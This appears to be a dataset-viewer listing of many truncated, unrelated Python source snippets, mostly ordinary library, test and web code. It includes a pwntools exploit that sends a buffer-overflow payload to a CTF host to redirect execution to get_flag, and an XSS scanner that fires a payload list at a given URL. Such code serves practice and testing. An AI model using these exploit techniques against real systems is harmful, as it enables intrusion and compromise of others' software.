content stringlengths 5 1.05M |
|---|
from django.shortcuts import render
from django.http import HttpResponse
from .ques_retrieve import *
import json
# Create your views here.
retrieve_model = Predict()
# with open('../ans-score.json','r') as f:
# ans_so = json.load(f)
def home(request):
global retrieve_model
global ans_so
if request.m... |
# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class RLpsolve(RPackage):
"""Lp_solve is freely available (under LGPL 2) software for solving
... |
from heapq import heappush, heappop
def heap_sort(heap_iterable):
'''
Heap sort implementation
'''
heap = []
for val in heap_iterable:
heappush(heap, val)
return [heappop(heap) for _ in range(len(heap))]
# Test
if __name__ == '__main__':
test_cases = (
[1, 3, 5, 7, 9, 2, 4,... |
# Written by Petru Paler
# Some bits removed by uriel, all bugs are his fault.
def decode_int(x, f):
f += 1
newf = x.index('e', f)
try:
n = int(x[f:newf])
except (OverflowError, ValueError):
n = long(x[f:newf])
if x[f] == '-':
if x[f + 1] == '0':
raise ValueError... |
from .parts.environment import *
from .parts.agents import *
partial_state_update_block = [
{
# environment.py
'policies': {
'grow_food': grow_food
},
'variables': {
'sites': update_food
}
},
{
# agents.py
'policies': {
... |
import unittest
class PickleableSession(unittest.TestCase):
def test_constructor_and_properties(self):
from vishnu.backend.client import PickleableSession
from datetime import datetime
expires = datetime(2018, 1, 1, 0, 0, 0)
last_accessed = (2017, 12, 30, 10, 0, 0)
data =... |
#! python
# -*- coding: utf-8 -*-
from itertools import chain
import plugins.ld_ring as base
## reload(base)
class Model(base.Model):
def residual(self, fitting_params, x, y):
"""最小自乗法の剰余函数"""
xc, yc = 0, 0
cam, ratio, phi = fitting_params
z = base.calc_aspect(x + 1j*y, 1/ratio, phi... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('organization', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='section',
name='... |
# Copyright 2019 Mycroft AI Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writin... |
"""Search Using a Boolean Variable"""
found = False
print('Before', found)
for value in [9, 41, 12, 3, 74, 15]:
if value == 3:
found = True
break
print(found, value)
print('After: ', found) |
def test_abinit_parser():
"""
Test (pychemia.code.abinit) [parser] :
"""
from pychemia.code.abinit import parser
from numpy import array, all, ones
from math import sqrt
import tempfile
wf = tempfile.NamedTemporaryFile(mode='w')
wf.write(' # Comentario\n')... |
<m>C:\Temp\EL> C:\Python23\python</m>
## (snipped: various greeting messages from Python)
>>> from elemlist import cons, car, cdr
>>> a = cons(1, cons(2, cons(3, ())))
>>> car(cdr(a))
2
>>>
|
import builtins
import csv
import random
import string
import re
import itertools
from security import *
################################################################################
with open('PCC Sales Contacts Master List S13.csv', newline='') as file:
file.readline()
file.readline()
... |
# Copyright 2014-2016 F5 Networks Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... |
import os
import random
import re
import sys
DAMPING = 0.85
SAMPLES = 10000
def main():
if len(sys.argv) != 2:
sys.exit("Usage: python pagerank.py corpus")
corpus = crawl(sys.argv[1])
ranks = sample_pagerank(corpus, DAMPING, SAMPLES)
print(f"PageRank Results from Sampling (n = {SAMPLES})")
... |
# -*- coding: utf-8 -*-
# The MIT License (MIT)
#
# Copyright (c) 2015 Alex Headley <[email protected]>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, inclu... |
from django.db import models
from django.contrib.auth.models import User
from classroom.models import Classroom
from PIL import Image
# Create your models here.
class Profile(models.Model):
user = models.OneToOneField(User,on_delete = models.CASCADE)
image = models.ImageField(default = 'users/profile_pics/def... |
from PandasToPowerpoint import df_to_powerpoint
import pandas as pd
df = pd.DataFrame({'District':['Hampshire', 'Dorset', 'Wiltshire', 'Worcestershire'],
'Population':[25000, 500000, 735298, 12653],
'Ratio':[1.56, 7.34, 3.67, 8.23]})
df_to_powerpoint(r"C:\Code\Powerpoint\test58.pptx", df,
col_for... |
# Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file acc... |
import sys, os, platform, glob
from distutils.core import setup
from setuptools import *
"""
Setup script for FusionVet -- A bioinformatics tool to visualize and evaluate *known* gene fusions.
"""
def main():
setup( name = "FusionVet",
version = "1.0.1",
python_requires='>=3.5',
... |
"""Insert the new version changes in the changelog."""
import re
import sys
import requests
from git_changelog.build import Changelog
from jinja2.sandbox import SandboxedEnvironment
TEMPLATE_URL = "https://raw.githubusercontent.com/pawamoy/jinja-templates/master/keepachangelog.md"
COMMIT_STYLE = "angular"
if __name... |
"""
Binary search is a classic recursive algorithm.
It is used to efficiently locate a target value within a sorted sequence of n elements.
"""
def binary_search(data, target, low, high):
"""Binary search implementation, inefficient, O(n)
Return True if target is found in indicated portion of a list.
... |
import discord
from discord.ext import commands
class Development(commands.Cog):
def __init__(self, bot):
self.bot = bot
def setup(bot):
bot.add_cog(Development(bot))
|
import os
import time
import numpy as np
import collections
import scipy
import scipy.sparse
import scipy.sparse.linalg
import scikits.sparse.cholmod
import sklearn.preprocessing
import hashlib
import types
import marshal
import pyublas
import cPickle as pickle
from collections import OrderedDict
from sigvisa.treegp.... |
"""
General usage script
-
Expected usage: user defines a configuration file then runs this script on that file. The user is expected
to do this through the jupyter notebook.
"""
# Pathfinder imports
from pathfinder.world.dome import Dome
from pathfinder.world.devtools import DevAxes, DevCompassMarking... |
import json
import os
import numpy as np
#user adjustable variables
#file
filepath = "D:\SourceCode\Python\Mine imator\Blendbench\converted\OuterTaleGasterBlaster_convert.mimodel"
newFilepath = "D:\SourceCode\Python\Mine imator\Blendbench\converted"
#setting
offset = False
a = 1.05
round = 0
multiplier = 3.75
UVmult... |
# Desafio 104: Crie um programa que tenha a função leiaInt(), que vai funcionar
# de forma semelhante 'a função input() do Python, só que fazendo a validação
# para aceitar apenas um valor numérico.
from rotinas import var, titulo, err
def leiaInt(texto):
while True:
n = input(texto)
if n.isnumer... |
'''Provide Color class that represents specific colors
This module also provides lists of predefined colors represented as
instances of Color class.
'''
from os import path
import json
from itertools import product
from . import utils
from . import checker
from .threshold_finders import brightness as brightness_find... |
from django.contrib.auth.signals import user_logged_in, user_logged_out
from django.dispatch import receiver
@receiver(user_logged_in)
def on_login(sender, user, request, **kwargs):
user.profile.shopping_cart.clear()
@receiver(user_logged_out)
def on_logout(sender, user, request, **kwargs):
user.profile.shop... |
import cPickle
import Cookie
import hmac
import md5
import os
import random
import sha
import sys
import time
import UserDict
from datetime import datetime, timedelta
# Determine if strong crypto is available
crypto_ok = False
# Check for pycryptopp encryption for AES
try:
from pycryptopp.cipher import aes
fr... |
# game.py
# Copyright 2008 Roger Marsh
# Licence: See LICENCE (BSD licence)
"""Widget to display a game of chess.
The display contains the game score, a board with the current position in the
game, and any analysis of the current position by chess engines.
The Game class displays a game of chess.
Instances of Game ... |
import argparse
from torchvision.datasets import MNIST, FashionMNIST, CIFAR10
import yaml
def main(args):
MNIST(args.data_path, download=True)
FashionMNIST(args.data_path, download=True)
CIFAR10(args.data_path, download=True)
with open('config/base.yml', 'r') as fin:
cfg = yaml.load(fin.read(... |
#!/usr/bin/env python
# The MIT License (MIT)
#
# Copyright (c) 2015 Mike Johnson
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the ri... |
import argparse
import os
import pickle
import tensorflow as tf
from pathlib import Path
def str2bool(v):
if isinstance(v, bool):
return v
if v.lower() in ('yes', 'true', 't', 'y', '1'):
return True
elif v.lower() in ('no', 'false', 'f', 'n', '0'):
return False
else:
rais... |
from PreProcessors.interface import PreProcessorInterface
from Parsers.csv_parser_FX import Parser
import matplotlib.pyplot as plt
import numpy as np
from keras.utils import np_utils
import math
class PreProcessor(PreProcessorInterface):
def __init__(self, filename):
self.__pre_data = []
for file ... |
#!/usr/bin/env python3
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.
#
# Copyright (c) 2014-2021, Lars Asplund [email protected]
"""
Create and validates... |
#!/usr/bin/env python
import os
import re
import sys
import time
import psutil
import platform
import subprocess
# Syslog handler
import TeddixLogger
# Config parser
import TeddixConfigFile
class TeddixAix:
def __init__(self,syslog):
self.syslog = syslog
self.system = platform.sys... |
import requests
import color
from color import *
def xss():
fname = "payloads.txt"
with open(fname) as f:
content = f.readlines()
payloads = [x.strip() for x in content]
print(T + "Works best if there is a query at the end. eg. http://example.com?search=" + W)
url = input(''+T+'' ... |
# -*- coding: utf-8 -*-
# Generated by Django 1.10.3 on 2018-07-09 18:02
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('orgManager', '0001_initial'),
]
operations = [
migrations.RenameModel(
... |
from __future__ import print_function, absolute_import
from abc import ABCMeta, abstractmethod
from builtins import object
from pathlib import Path
from future.utils import with_metaclass
from snips_nlu.constants import UTTERANCES, SLOT_NAME, ENTITY, TEXT, DATA
INTENT_FORMATTING_ERROR = AssertionError(
"Intent ... |
# -*- coding: utf-8 -*-
from tespy.networks import Network
from tespy.components import (
Sink, Source, Turbine, Condenser, Pump, Merge, Splitter,
Valve, HeatExchanger, ParabolicTrough, CycleCloser, Compressor, Drum)
from tespy.connections import Connection, Bus, Ref
from tespy.tools import CharLine
from tespy... |
from django.shortcuts import render
def index(request):
""" The view that will render the home page """
return render(request, '{{ cookiecutter.main_app }}/home.html', context={})
|
import amorf.datasets as ds
import amorf.problemTransformation as pt
import amorf.metrics as metrics
import numpy as np
from sklearn.model_selection import KFold
edm = ds.EDM().get_numpy()
rf1 = ds.RiverFlow1().get_numpy()
wq = ds.WaterQuality().get_numpy()
transCond = ds.TransparentConductors().get_numpy()
dataset_na... |
"""
Copyright 2019 Samsung SDS
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law ... |
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
# Test functions
import unittest
import numpy as np
from SimPEG import tests, mkvc
from SimPEG.electromagnetics import natural_source as nsem
from scipy.constants import mu_0
TOLr = 5e-2
TOL = 1e-4
FLR = 1e-20... |
from django.db import connection
from . import PostgreSQLTestCase
try:
from django.contrib.postgres.signals import get_hstore_oids, get_citext_oids
except ImportError:
pass # pyscogp2 isn't installed.
class OIDTests(PostgreSQLTestCase):
def assertOIDs(self, oids):
self.assertIsInstance(oids, t... |
# coding=utf-8
from django import forms
from django.contrib.auth.forms import UserChangeForm
from models import Customer, CustomerSetting, ACTION_TYPE
from captcha.fields import CaptchaField, CaptchaTextInput
from django.contrib.auth.forms import AuthenticationForm
from django.utils.translation import ugettext_lazy as... |
import pickle
from copy import deepcopy
from datetime import date
from datetime import datetime
from datetime import time
from datetime import timedelta
import pytest
import pendulum
from pendulum import timezone
from pendulum.tz.timezone import Timezone
@pytest.fixture
def p():
return pendulum.datetime(2016,... |
from collections import namedtuple
from string import Template
from typing import Any
import cupy
import torch
__all__ = ["Stream", "get_dtype_str", "load_kernel"]
Stream = namedtuple("Stream", ["ptr"])
def get_dtype_str(t: torch.Tensor) -> str:
if isinstance(t, torch.cuda.FloatTensor):
return "float"
... |
# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
import log... |
import unittest
from dart.globals import ImportParser, PartOfParser
class TestImport(unittest.TestCase):
def test_import(self):
parser = ImportParser()
elem = parser.parse("import 'package:flutter/widgets.dart';", 0)
self.assertEqual(elem.content(), "import 'package:flutter/widgets.dart';")
self.assertEqual(e... |
from pwn import *
io = remote('redirect.do-not-trust.hacking.run', 10356)
e = ELF('pwn1_sctf_2016')
address = e.symbols['get_flag']
log.success('get_flag_address => %s' % hex(address).upper())
payload = b'I'*20 + b'a'*0x4 + p32(address)
# payload = b'I'*20 + b'a'*0x4 + p32(0x8048F0D)
io.sendline(payload)
io.interactiv... |
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distribu... |
from selenium.webdriver.common.by import (
By
)
from selenium.webdriver.support import (
expected_conditions as EC
)
from selenium.webdriver.support.ui import (
WebDriverWait
)
def get_element_by_css_selector(driver, tag, value):
''' Get a specified element by tag and attribute value.
'''
is... |
from pathlib import Path
from time import time
from logging import getLogger, FileHandler, Formatter
from cliar import Cliar
class BaseCli(Cliar):
'''Base CLI. All CLI extensions must inherit from this one.'''
def __init__(self, logs_dir=None):
super().__init__()
self.logger = getLogger('flt... |
from backend.settings import *
from testing_platform.settings import LOGGER
from testing_platform.settings import FILE_REPO
|
#! /usr/bin/python
# -*- coding: utf-8 -*-
from jinja2 import Environment, FileSystemLoader
import ConfigParser
import os
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
tamplate_dir = './templates'
output_dir = './output/'
config_file = "config"
class Config(object):
# def __init__(self, values):
# ... |
from typing import Callable
from typing import Union
from typer import Typer
def add(app: Typer, name: str, item: Union[Callable, Typer], **kwargs):
if isinstance(item, Typer):
app.add_typer(item, name=name, **kwargs)
else:
app.command(name, **kwargs)(item)
|
#!/usr/bin/env python
import cv2
import dlib
import rospy
from sensor_msgs.msg import Image
from cv_bridge import CvBridge, CvBridgeError
from ros_face_recognition.srv import Face
import config
import face_api
_service = "/{}/faces".format(config.topic_name)
class ImageReader:
def __init__(self):
self.... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import logging
from requests_futures.sessions import FuturesSession
import hashlib
import time
import copy
from datetime import timedelta
from zipfile import ZipFile
from tempfile import NamedTemporaryFile
from requests.adapters import HTTPAdapter
from urllib3.util.retry ... |
import subprocess
import os
import glob
from multiprocessing import Process
import logging
import time
from datetime import datetime
import twint as tw
print('Initialising twint config')
#tc.Output = f'tw-{datetime.now().strftime("%Y%m%d-%H%M%S")}-newsoutlets.csv' # Set filename to include current date/time
NEWSOUTLE... |
def insertionsort(arr, high):
if high<=1:
return arr
insertionsort(arr, high-1)
last=arr[high-1]
j=high-2
while j>=0 and arr[j]>last:
arr[j+1]=arr[j]
j-=1
arr[j+1]=last
if __name__=='__main__':
'''
arr=input('Enter elements: ')
arr=arr.split()
'''
arr=[10, 12, 9, 5, 8, 15, 13]
n=len(arr)
insert... |
#!/usr/bin/env python
# my own module
import os, sys
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '../'))
from utilities.helpers import get_git_root
from torchvision import datasets, models, transforms
from utilities.e2wrn import wrn16_8_stl_d8d4d1
import pandas as pd
import torch
# GPU or CPU as a glo... |
import os
import copy
import json
import logging
import pymongo
import numpy as np
from torch import set_grad_enabled
from torch import load
from torch import device as D
from pymongo import MongoClient
from collections import defaultdict
from flask import Flask, jsonify, request
from flask_cors import CORS
from poker... |
from types import SimpleNamespace
import numpy as np
STATE_VARIABLES = np.sort(
["angle", "angleD", "angle_cos", "angle_sin", "position", "positionD",]
)
STATE_INDICES = {x: np.where(STATE_VARIABLES == x)[0][0] for x in STATE_VARIABLES}
CONTROL_INPUTS = np.sort(["Q"])
CONTROL_INDICES = {x: np.where(CONTROL_INP... |
from django.contrib import admin
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from django.contrib.auth.models import User
from api.models import Gateway
from api.models import Point
from api.models import Node
from api.models import NodeType
from api.models import Key
from api.models import Rawpo... |
import os
from datetime import datetime
import logging
import sys
import traceback
from random import random
import urllib2
from google.appengine.dist import use_library
use_library("django", "1.2")
from django.utils import simplejson as json
from google.appengine.ext import webapp, db
from google.appengine.ext.weba... |
from __future__ import unicode_literals
from builtins import str
from builtins import range
import htmls
from cradmin_legacy.python2_compatibility import mock
from django.test import TestCase, RequestFactory
from cradmin_legacy.tests.viewhelpers.cradmin_viewhelpers_testapp.models import TestModel
from cradmin_legacy.v... |
from abc import ABC, abstractmethod
from typing import Sequence, Tuple
import numpy as np
from torch import Tensor, nn
from ..prelude import Array, ArrayLike
from ..utils import Device
from .block import CNNBody, FCBody, LinearHead, NetworkBlock
from .prelude import NetFn
class ContinuousQFunction(ABC):
@abstra... |
# coding: utf-8
"""
UltraCart Rest API V2
UltraCart REST API Version 2 # noqa: E501
OpenAPI spec version: 2.0.0
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class EmailListSegmentMembersh... |
from . import infer # noqa
from . import inject # noqa
from . import reflect # noqa
from .analyses import NamespaceAnalysis # noqa
from .analyses import RowsTableDependencies # noqa
from .analyses import TableDependenciesAnalysis # noqa
from .reflect import StrictTableDependenciesAnalysis # noqa
from .targets im... |
import pytest
import time
import asyncio
import os
BASE_DIR = os.path.dirname(__file__)
NOTEBOOK_EXECUTION_TIME = 3
NUMBER_PREHEATED_KERNEL = 2
TIME_THRESHOLD = 1
@pytest.fixture
def voila_config_file_paths_arg():
path = os.path.join(BASE_DIR, '..', 'configs', 'preheat')
return '--VoilaTest.config_file_paths... |
# Seja 'p' um numero Natural, # se não houver nenhum divisor de 'p' no intervalo [2, raiz(n)], então 'p' é primo.
def gerador_de_primos(n):
numeros = range(3, n+1, 2)
primos = []
while len(numeros) > 0:
numero = numeros[0]
novo_set = set(numeros) - set(range(numero, n+1, numero))
... |
import os
import sys
import random
import math
import re
import time
import numpy as np
import cv2
import tensorflow as tf
import matplotlib
import matplotlib.pyplot as plt
#cell:
from tinyenv.flags import flags
_FLAGS = flags()
# cell_end.
# Call this first to load the parameters.if you don't used tinymind service,th... |
####################################
# author: Gonzalo Salazar
# course: Python for Data Science and Machine Learning Bootcamp
# purpose: lecture notes
# description: Section 17 - Logistic Regression
# datasets: (i) Titanic: Machine Learning from Disaster (source: Kaggle),
# (ii) Advertising data: fake data.... |
import socket
import random
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
TCP_IP = '127.0.0.1'
port = 15710
s.connect((TCP_IP,port))
BUFFER = 1024
x = 2
print(x)
s.sendall(str(x).encode("utf-8"))
#waiting for message
while True:
data = s.recv(BUFFER)
if data:
break
x = data.decode("utf-8")
print("r... |
"""Wrapper for pretrained Deepbind via Kipoi."""
import numpy as np
from spacy.tokens import Doc
from spacy.vocab import Vocab
from spacy.language import Language
from concise.preprocessing.sequence import encodeDNA, encodeRNA
from ....core import Task, DataType
from ...kipoi.core import KipoiModel
DEEPBIND_CLASSES =... |
"""
Generate a list of N colors starting from color1 to color2 in RGB or HSV space
"""
from __future__ import print_function
print(__doc__)
from vtkplotter.colors import makePalette, getColorName
cols = makePalette("red", "blue", 10, hsv=True)
for c in cols:
print("rgb =", c, " closest color is:", getColorName(... |
import sqlite3
import json
from ploomber.products import Product
from ploomber.products.serializers import Base64Serializer
from ploomber.templates.Placeholder import SQLRelationPlaceholder
class SQLiteRelation(Product):
"""A SQLite relation
Parameters
----------
identifier: tuple of length 3
... |
import logging
from collections import defaultdict
from typing import Dict, List
from strips_hgn.planning import STRIPSProblem
from strips_hgn.training_data import StateValuePair, TrainingPair
from strips_hgn.utils.metrics import CountMetric, metrics_logger
from collections import Counter
import numpy as np
_log = l... |
import multiprocessing as mp
from sys import path
from tqdm import trange
import imagehash
import Image
import os
from DoraemonPocket.src.utils import log_error
from DoraemonPocket.src.multiprocessor import multiprocessing
HASH_DICTS = {
"ahash" : imagehash.average_hash,
"phash" : imagehash.phash,
"dhash" ... |
#!/usr/bin/env python
# coding: utf-8
from tkinter import Tk
from gui.ui import UI
from core import DOCKER_CONTAINER_NAME
from core import TIMEOUT
from core import btc, bch, dash, eth, ltc, neo, xmr
import subprocess
import os
import signal
def run():
global app
root = Tk()
app = UI(root)
# Applicati... |
# Generated by Django 2.2.12 on 2020-06-26 12:53
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('stats', '0019_scenariolanguage_include_keys'),
]
operations = [
migrations.AlterField(
model_name='scenariolanguage',
... |
import requests
import urllib
from config import setting
from model import user
config = setting.config
class oauthbase(object):
def __init__(self,user=None):
self.set_user(user)
def check_err(self,json):
code = self.str_err_code
msg = self.str_err_msg
name = self.name... |
""" Manage learning from training data and making predictions on test data. """
import logging
__author__ = 'smartschat'
def learn(training_corpus, instance_extractor, perceptron):
""" Learn a model for coreference resolution from training data.
In particular, apply an instance/feature extractor to a tra... |
import torch
import numpy as np
from tme6 import CirclesData
from torch.autograd import Variable
def loss_accuracy(Yhat, Y):
L = - torch.mean(Y * torch.log(Yhat))
_, indYhat = torch.max(Yhat, 1)
_, indY = torch.max(Y, 1)
acc = torch.sum(indY == indYhat) #* 100 / indY.size(0);
acc = float(acc.data... |
from pattern_model import Model
SIM_STEP = 0.01
STEPS_PER_FRAME = 20
model = Model(
neuron_count = 100
)
try :
import imp
imp.find_module( "matplotlib" )
from matplotlib import pyplot as plt
from matplotlib import animation
figure = plt.figure()
figure.suptitle( "Model" )
model_plo... |
# Copyright (c) 2016 Tencent Inc.
# All rights reserved.
#
# Author: Li Wenting <[email protected]>
# Date: April 18, 2016
"""
This is the package target module which packages files
into an (compressed) archive.
"""
from __future__ import absolute_import
import os
from blade import build_manager
from blade ... |
"""872. Leaf-Similar Trees
https://leetcode.com/problems/leaf-similar-trees/
Consider all the leaves of a binary tree, from left to right order, the
values of those leaves form a leaf value sequence.
For example, in the given tree above, the leaf value sequence is (6, 7, 4, 9,
8).
Two binary trees are considered lea... |
# -*- coding: utf-8 -*-
__all__ = ('collect_functions',)
from typing import Iterator, Collection, List
import ast
from loguru import logger
import asttokens
import astor
from .analysis import PythonFunction
from .util import ast_with_tokens, ast_location
from ..container import ProjectContainer
from ..core import Lo... |
from client.utils import encryption
import unittest
class EncryptionTest(unittest.TestCase):
def assertInverses(self, data, padding=None):
key = encryption.generate_key()
ciphertext = encryption.encrypt(data, key, padding)
self.assertTrue(encryption.is_encrypted(ciphertext))
self.a... |
import csv
from fuzzy_dict import FuzzyDict
import utils
def load_counselors(counselors_file_path, stake):
"""Parse counselors file for counselors in specified stake and return them in a list of parsed csv file rows.
"""
print '\nloading ',counselors_file_path, ' for ', stake, ' stake'
with open(couns... |
#!/usr/bin/env python3
import argparse
import json
import os
import shutil
import subprocess
import sys
import urllib.parse
import nbformat
import requests
# Simplified representation of a Dockerfile
class Dockerfile(object):
commands = {
'voila': ['voila'],
'nbparameterise': ['nbparameterise'],
... |
INVALID_OCTET = [
"f", # Too few digits
"fff", # Too many digits
"g" # Invalid digit
]
OCTET = [
("A0", "a0", 160, "10100000", "00000101"),
("a0", "a0", 160, "10100000", "00000101"),
("B1", "b1", 177, "10110001", "10001101"),
("b1", "b1", 177, "10110001", ... |
# table definition
table = {
'table_name' : 'ap_terms_codes',
'module_id' : 'ap',
'short_descr' : 'Terms codes',
'long_descr' : 'Terms codes',
'sub_types' : None,
'sub_trans' : None,
'sequence' : ['seq', [], None],
'tree_params' : None,
'roll_params' : No... |
# -*- coding: utf-8 -*-
#
# Author: RedSpiderMkV
#
# Created: 20/06/2014
# Copyright: (c) RedSpiderMkV 2014
# Licence: <your licence>
#-------------------------------------------------------------------------------
import urllib2
from HistoricalQuote_Base import HistoricalQuoteBase
class HistoricalQuot... |
import datetime as dt
from logging import raiseExceptions
import pickle
import hdbscan
import seaborn as sns
import numpy as np
import pandas as pd
import seaborn as sns
from tqdm import tqdm
from loguru import logger
from sentence_transformers import SentenceTransformer
from spacy.lang.en import English
from transfo... |
# -*- coding: utf-8 -*-
def main():
from collections import deque
import sys
input = sys.stdin.readline
s = input().rstrip()
t = deque()
r_count = 0
for si in s:
if si == "R":
r_count += 1
else:
if r_count % 2 == 0:
if t and t[-1] ... |
#!/usr/bin/env python
# coding: utf-8
# In[ ]:
import networkx as nx
import matplotlib.pyplot as plt
# In[ ]:
nx.draw_networkx(nx.lollipop_graph(10, 5))
# In[ ]:
nx.draw_networkx(nx.balanced_tree(2, 3))
# In[ ]:
nx.Graph()
nx.DiGraph()
nx.MultiGraph()
nx.MultiDiGraph()
# In[ ]:
G = nx.Graph()
G.add_n... |
import pytest
from s3_file_field._multipart import (
InitializedPart,
InitializedUpload,
PartFinalization,
UploadFinalization,
)
from s3_file_field.views import (
UploadFinalizationRequestSerializer,
UploadInitializationRequestSerializer,
UploadInitializationResponseSerializer,
)
@pytest.... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.